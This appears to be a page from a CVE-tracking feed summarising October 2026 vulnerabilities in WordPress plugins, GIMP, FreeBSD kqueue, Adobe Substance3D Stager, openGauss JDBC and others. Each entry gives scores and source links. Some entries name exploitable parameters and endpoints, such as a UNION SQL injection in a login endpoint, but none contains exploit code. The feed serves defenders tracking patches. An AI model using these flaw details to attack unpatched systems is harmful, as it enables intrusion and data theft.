Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Salon Booking System  WordPress plugin before 10.31.11 does not prevent users holding its custom salon staff role from assigning arbitrary capabilities to other accounts when...
https://kevwire.com/record/CVE-2026-110031
The Salon Booking System  WordPress plugin before 10.31.11 does not prevent users holding its custom salon staff role from assigning arbitrary capabilities to other accounts when... (Oct 18, 2026).
The Salon Booking System  WordPress plugin before 10.31.11 does not prevent users holding its custom salon staff role from assigning arbitrary capabilities to other accounts when editing a customer, allowing them to escalate any account to administrator and take over the site.
CVSS 7.2 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110031).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110031&date=2026-10-25).
Sources:
NVD CVE-2026-110031: https://nvd.nist.gov/vuln/detail/CVE-2026-110031
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110031&date=2026-10-25
The Salon Booking System  WordPress plugin before 10.31.11 does not prevent users holding its custom salon staff role from assigning arbitrary capabilities to other accounts when editing a customer, allowing them to escalate any account to administrator and take over the site.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The WP Photo Album Plus WordPress plugin before 9.2.11.002 does not properly escape a category navigation value before reflecting it into a JavaScript event handler on its gallery...
https://kevwire.com/record/CVE-2026-110981
The WP Photo Album Plus WordPress plugin before 9.2.11.002 does not properly escape a category navigation value before reflecting it into a JavaScript event handler on its gallery... (Oct 18, 2026).
The WP Photo Album Plus WordPress plugin before 9.2.11.002 does not properly escape a category navigation value before reflecting it into a JavaScript event handler on its gallery breadcrumb links, allowing unauthenticated attackers to inject arbitrary script that executes in the browser of anyone who follows a crafted gallery link and clicks the breadcrumb, including a logged-in administrator.
CVSS 7.1 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110981).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110981&date=2026-10-25).
Sources:
NVD CVE-2026-110981: https://nvd.nist.gov/vuln/detail/CVE-2026-110981
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110981&date=2026-10-25
The WP Photo Album Plus WordPress plugin before 9.2.11.002 does not properly escape a category navigation value before reflecting it into a JavaScript event handler on its gallery breadcrumb links, allowing unauthenticated attackers to inject arbitrary script that executes in the browser of anyone who follows a crafted gallery link and clicks the breadcrumb, including a logged-in administrator.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Modern Events Calendar Lite WordPress plugin before 7.37.0, Modern Event Calendar Pro WordPress plugin before 7.37.0 does not sanitise and escape a parameter before using it...
https://kevwire.com/record/CVE-2026-96534
The Modern Events Calendar Lite WordPress plugin before 7.37.0, Modern Event Calendar Pro WordPress plugin before 7.37.0 does not sanitise and escape a parameter before using it... (Oct 18, 2026).
The Modern Events Calendar Lite WordPress plugin before 7.37.0, Modern Event Calendar Pro WordPress plugin before 7.37.0 does not sanitise and escape a parameter before using it in a SQL statement, allowing authenticated users with minimal privileges (Subscriber and above) to perform SQL injection attacks.
CVSS 7.7 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96534).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96534&date=2026-10-25).
Sources:
NVD CVE-2026-96534: https://nvd.nist.gov/vuln/detail/CVE-2026-96534
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96534&date=2026-10-25
The Modern Events Calendar Lite WordPress plugin before 7.37.0, Modern Event Calendar Pro WordPress plugin before 7.37.0 does not sanitise and escape a parameter before using it in a SQL statement, allowing authenticated users with minimal privileges (Subscriber and above) to perform SQL injection attacks.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Brian Mariani from DigitalCanion SA has discovered a path traversal vulnerability in the View Logs functionality of 
koozali's SME Server version 11.0rc1-215 allowing an...
https://kevwire.com/record/CVE-2026-108120
Brian Mariani from DigitalCanion SA has discovered a path traversal vulnerability in the View Logs functionality of 
koozali's SME Server version 11.0rc1-215 allowing an... (Oct 19, 2026).
Brian Mariani from DigitalCanion SA has discovered a path traversal vulnerability in the View Logs functionality of 
koozali's SME Server version 11.0rc1-215 allowing an unauthenticated 
attacker to access files outside of the intended directory, leading to 
exfiltration of files located outside the intended system logs 
directory, including potentially sensitive system and application files.
CVSS 7.7 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108120).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108120&date=2026-10-25).
Sources:
NVD CVE-2026-108120: https://nvd.nist.gov/vuln/detail/CVE-2026-108120
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108120&date=2026-10-25
Brian Mariani from DigitalCanion SA has discovered a path traversal vulnerability in the View Logs functionality of 
koozali's SME Server version 11.0rc1-215 allowing an unauthenticated 
attacker to access files outside of the intended directory, leading to 
exfiltration of files located outside the intended system logs 
directory, including potentially sensitive system and application files.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SQL injection (SQLi) vulnerability—specifically a UNION-based vulnerability—in the Integratec application that affects the sInfo parameter sent via POST to the endpoint...
https://kevwire.com/record/CVE-2026-13695
SQL injection (SQLi) vulnerability—specifically a UNION-based vulnerability—in the Integratec application that affects the sInfo parameter sent via POST to the endpoint... (Oct 19, 2026).
SQL injection (SQLi) vulnerability—specifically a UNION-based vulnerability—in the Integratec application that affects the sInfo parameter sent via POST to the endpoint /login/ap_Login.aspx/start. Successful exploitation of this vulnerability could allow an attacker to steal data from the database, such as credentials and user information, and cause errors and partial denial-of-service conditions. Furthermore, this vulnerability could facilitate other types of follow-up attacks, such as data exfiltration or privilege escalation.
CVSS 8.8 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-13695).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-13695&date=2026-10-25).
Sources:
NVD CVE-2026-13695: https://nvd.nist.gov/vuln/detail/CVE-2026-13695
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-13695&date=2026-10-25
SQL injection (SQLi) vulnerability—specifically a UNION-based vulnerability—in the Integratec application that affects the sInfo parameter sent via POST to the endpoint /login/ap_Login.aspx/start. Successful exploitation of this vulnerability could allow an attacker to steal data from the database, such as credentials and user information, and cause errors and partial denial-of-service conditions. Furthermore, this vulnerability could facilitate other types of follow-up attacks, such as data exfiltration or privilege escalation.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw was found in GIMP. An integer overflow occurs in the file-pvr plug-in when calculating memory buffer sizes for image dimensions.
https://kevwire.com/record/CVE-2026-62439
A flaw was found in GIMP. An integer overflow occurs in the file-pvr plug-in when calculating memory buffer sizes for image dimensions. (Oct 16, 2026).
A flaw was found in GIMP. An integer overflow occurs in the file-pvr plug-in when calculating memory buffer sizes for image dimensions. By tricking a user into opening or previewing a specially crafted PowerVR (.pvr) file, an attacker can trigger a heap-based buffer overflow, potentially leading to arbitrary code execution or a Denial of Service (DoS) via an application crash.
CVSS 7.0 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-62439).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-62439&date=2026-10-25).
Sources:
NVD CVE-2026-62439: https://nvd.nist.gov/vuln/detail/CVE-2026-62439
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-62439&date=2026-10-25
A flaw was found in GIMP. An integer overflow occurs in the file-pvr plug-in when calculating memory buffer sizes for image dimensions. By tricking a user into opening or previewing a specially crafted PowerVR (.pvr) file, an attacker can trigger a heap-based buffer overflow, potentially leading to arbitrary code execution or a Denial of Service (DoS) via an application crash.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Admidio from 5.0.11 before 5.0.16 contains a broken access control vulnerability in modules/inventory/inventory_data.php that allows authenticated users to bypass the...
https://kevwire.com/record/CVE-2026-111914
Admidio from 5.0.11 before 5.0.16 contains a broken access control vulnerability in modules/inventory/inventory_data.php that allows authenticated users to bypass the... (Oct 17, 2026).
Admidio from 5.0.11 before 5.0.16 contains a broken access control vulnerability in modules/inventory/inventory_data.php that allows authenticated users to bypass the inventory_module_enabled restriction. Attackers with any valid login can request the DataTables JSON feed to read every inventory item and keeper names, even when the module is disabled.
CVSS 7.1 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111914).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111914&date=2026-10-25).
Sources:
NVD CVE-2026-111914: https://nvd.nist.gov/vuln/detail/CVE-2026-111914
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111914&date=2026-10-25
Admidio from 5.0.11 before 5.0.16 contains a broken access control vulnerability in modules/inventory/inventory_data.php that allows authenticated users to bypass the inventory_module_enabled restriction. Attackers with any valid login can request the DataTables JSON feed to read every inventory item and keeper names, even when the module is disabled.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### When copying knotes from a parent kqueue to a child, the copy code did not correctly exclude marker knotes (used internally to track list traversal position) before marking them...
https://kevwire.com/record/CVE-2026-58099
When copying knotes from a parent kqueue to a child, the copy code did not correctly exclude marker knotes (used internally to track list traversal position) before marking them... (Oct 15, 2026).
When copying knotes from a parent kqueue to a child, the copy code did not correctly exclude marker knotes (used internally to track list traversal position) before marking them as in-flux and releasing the kqueue lock.  If another thread freed a marker while the lock was dropped, the subsequent in-flux decrement operated on freed memory.

An unprivileged local user may be able to exploit these races to escalate privileges.
CVSS 7.0 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-58099).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-58099&date=2026-10-25).
Sources:
NVD CVE-2026-58099: https://nvd.nist.gov/vuln/detail/CVE-2026-58099
Vendor advisory (via NVD references): https://security.freebsd.org/advisories/FreeBSD-SA-26:65.kqueue.asc
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-58099&date=2026-10-25
When copying knotes from a parent kqueue to a child, the copy code did not correctly exclude marker knotes (used internally to track list traversal position) before marking them as in-flux and releasing the kqueue lock.  If another thread freed a marker while the lock was dropped, the subsequent in-flux decrement operated on freed memory.

An unprivileged local user may be able to exploit these races to escalate privileges.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### kqueue_fork_copy_knote() indexed into the child's file descriptor table using a knote's file descriptor number without a bounds check.
https://kevwire.com/record/CVE-2026-58100
kqueue_fork_copy_knote() indexed into the child's file descriptor table using a knote's file descriptor number without a bounds check. (Oct 15, 2026).
kqueue_fork_copy_knote() indexed into the child's file descriptor table using a knote's file descriptor number without a bounds check.  Because the child's table is copied before knotes are transferred, a concurrent thread in the parent could grow the parent's table and register knotes with file descriptor numbers beyond the end of the child's table, causing an out-of-bounds read.

An unprivileged local user may be able to exploit these races to escalate privileges.
CVSS 7.0 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-58100).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-58100&date=2026-10-25).
Sources:
NVD CVE-2026-58100: https://nvd.nist.gov/vuln/detail/CVE-2026-58100
Vendor advisory (via NVD references): https://security.freebsd.org/advisories/FreeBSD-SA-26:65.kqueue.asc
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-58100&date=2026-10-25
kqueue_fork_copy_knote() indexed into the child's file descriptor table using a knote's file descriptor number without a bounds check.  Because the child's table is copied before knotes are transferred, a concurrent thread in the parent could grow the parent's table and register knotes with file descriptor numbers beyond the end of the child's table, causing an out-of-bounds read.

An unprivileged local user may be able to exploit these races to escalate privileges.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Substance3D - Stager is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-103839
Substance3D - Stager is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
Substance3D - Stager is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS 7.8 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103839).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103839&date=2026-10-25).
Sources:
NVD CVE-2026-103839: https://nvd.nist.gov/vuln/detail/CVE-2026-103839
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/substance3d-stager/apsb26-170.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103839&date=2026-10-25
Substance3D - Stager is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Substance3D - Stager is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-103838
Substance3D - Stager is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
Substance3D - Stager is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS 7.8 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103838).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103838&date=2026-10-25).
Sources:
NVD CVE-2026-103838: https://nvd.nist.gov/vuln/detail/CVE-2026-103838
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/substance3d-stager/apsb26-170.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103838&date=2026-10-25
Substance3D - Stager is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Substance3D - Stager is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-103837
Substance3D - Stager is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
Substance3D - Stager is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS 7.8 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103837).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103837&date=2026-10-25).
Sources:
NVD CVE-2026-103837: https://nvd.nist.gov/vuln/detail/CVE-2026-103837
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/substance3d-stager/apsb26-170.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103837&date=2026-10-25
Substance3D - Stager is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Substance3D - Stager is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-103836
Substance3D - Stager is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
Substance3D - Stager is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS 7.8 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103836).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103836&date=2026-10-25).
Sources:
NVD CVE-2026-103836: https://nvd.nist.gov/vuln/detail/CVE-2026-103836
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/substance3d-stager/apsb26-170.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103836&date=2026-10-25
Substance3D - Stager is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Substance3D - Stager is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-103835
Substance3D - Stager is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
Substance3D - Stager is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS 7.8 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103835).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103835&date=2026-10-25).
Sources:
NVD CVE-2026-103835: https://nvd.nist.gov/vuln/detail/CVE-2026-103835
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/substance3d-stager/apsb26-170.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103835&date=2026-10-25
Substance3D - Stager is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Substance3D - Stager is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-103834
Substance3D - Stager is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
Substance3D - Stager is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS 7.8 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103834).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103834&date=2026-10-25).
Sources:
NVD CVE-2026-103834: https://nvd.nist.gov/vuln/detail/CVE-2026-103834
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/substance3d-stager/apsb26-170.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103834&date=2026-10-25
Substance3D - Stager is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Substance3D - Stager is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-103833
Substance3D - Stager is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
Substance3D - Stager is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS 7.8 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103833).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103833&date=2026-10-25).
Sources:
NVD CVE-2026-103833: https://nvd.nist.gov/vuln/detail/CVE-2026-103833
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/substance3d-stager/apsb26-170.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103833&date=2026-10-25
Substance3D - Stager is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Substance3D - Stager is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-103832
Substance3D - Stager is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
Substance3D - Stager is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS 7.8 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103832).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103832&date=2026-10-25).
Sources:
NVD CVE-2026-103832: https://nvd.nist.gov/vuln/detail/CVE-2026-103832
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/substance3d-stager/apsb26-170.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103832&date=2026-10-25
Substance3D - Stager is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Substance3D - Stager is affected by a Stack-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-103830
Substance3D - Stager is affected by a Stack-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
Substance3D - Stager is affected by a Stack-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS 7.8 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103830).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103830&date=2026-10-25).
Sources:
NVD CVE-2026-103830: https://nvd.nist.gov/vuln/detail/CVE-2026-103830
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/substance3d-stager/apsb26-170.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103830&date=2026-10-25
Substance3D - Stager is affected by a Stack-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### 在 openGauss-connector-jdbc 的 pgjdbc/src/main/java/org/postgresql/log/LogFactory.java 中，LogFactory 根据 JDBC 连接参数中的 logger 类名调用 Class.forName 加载类后，直接反射调用以 String 为参数的构造函数，再转换为 Log。缺少...
https://kevwire.com/record/CVE-2026-111440
在 openGauss-connector-jdbc 的 pgjdbc/src/main/java/org/postgresql/log/LogFactory.java 中，LogFactory 根据 JDBC 连接参数中的 logger 类名调用 Class.forName 加载类后，直接反射调用以 String 为参数的构造函数，再转换为 Log。缺少... (Oct 19, 2026).
在 openGauss-connector-jdbc 的 pgjdbc/src/main/java/org/postgresql/log/LogFactory.java 中，LogFactory 根据 JDBC 连接参数中的 logger 类名调用 Class.forName 加载类后，直接反射调用以 String 为参数的构造函数，再转换为 Log。缺少 asSubclass(Log.class) 校验，非 Log 实现类也会在类型检查前被实例化。因此，当攻击者可控制 JDBC URL 或连接属性中的 logger 类名，且客户端 classpath 中存在可被加载的类时，可能在客户端触发非预期的类加载与构造副作用。

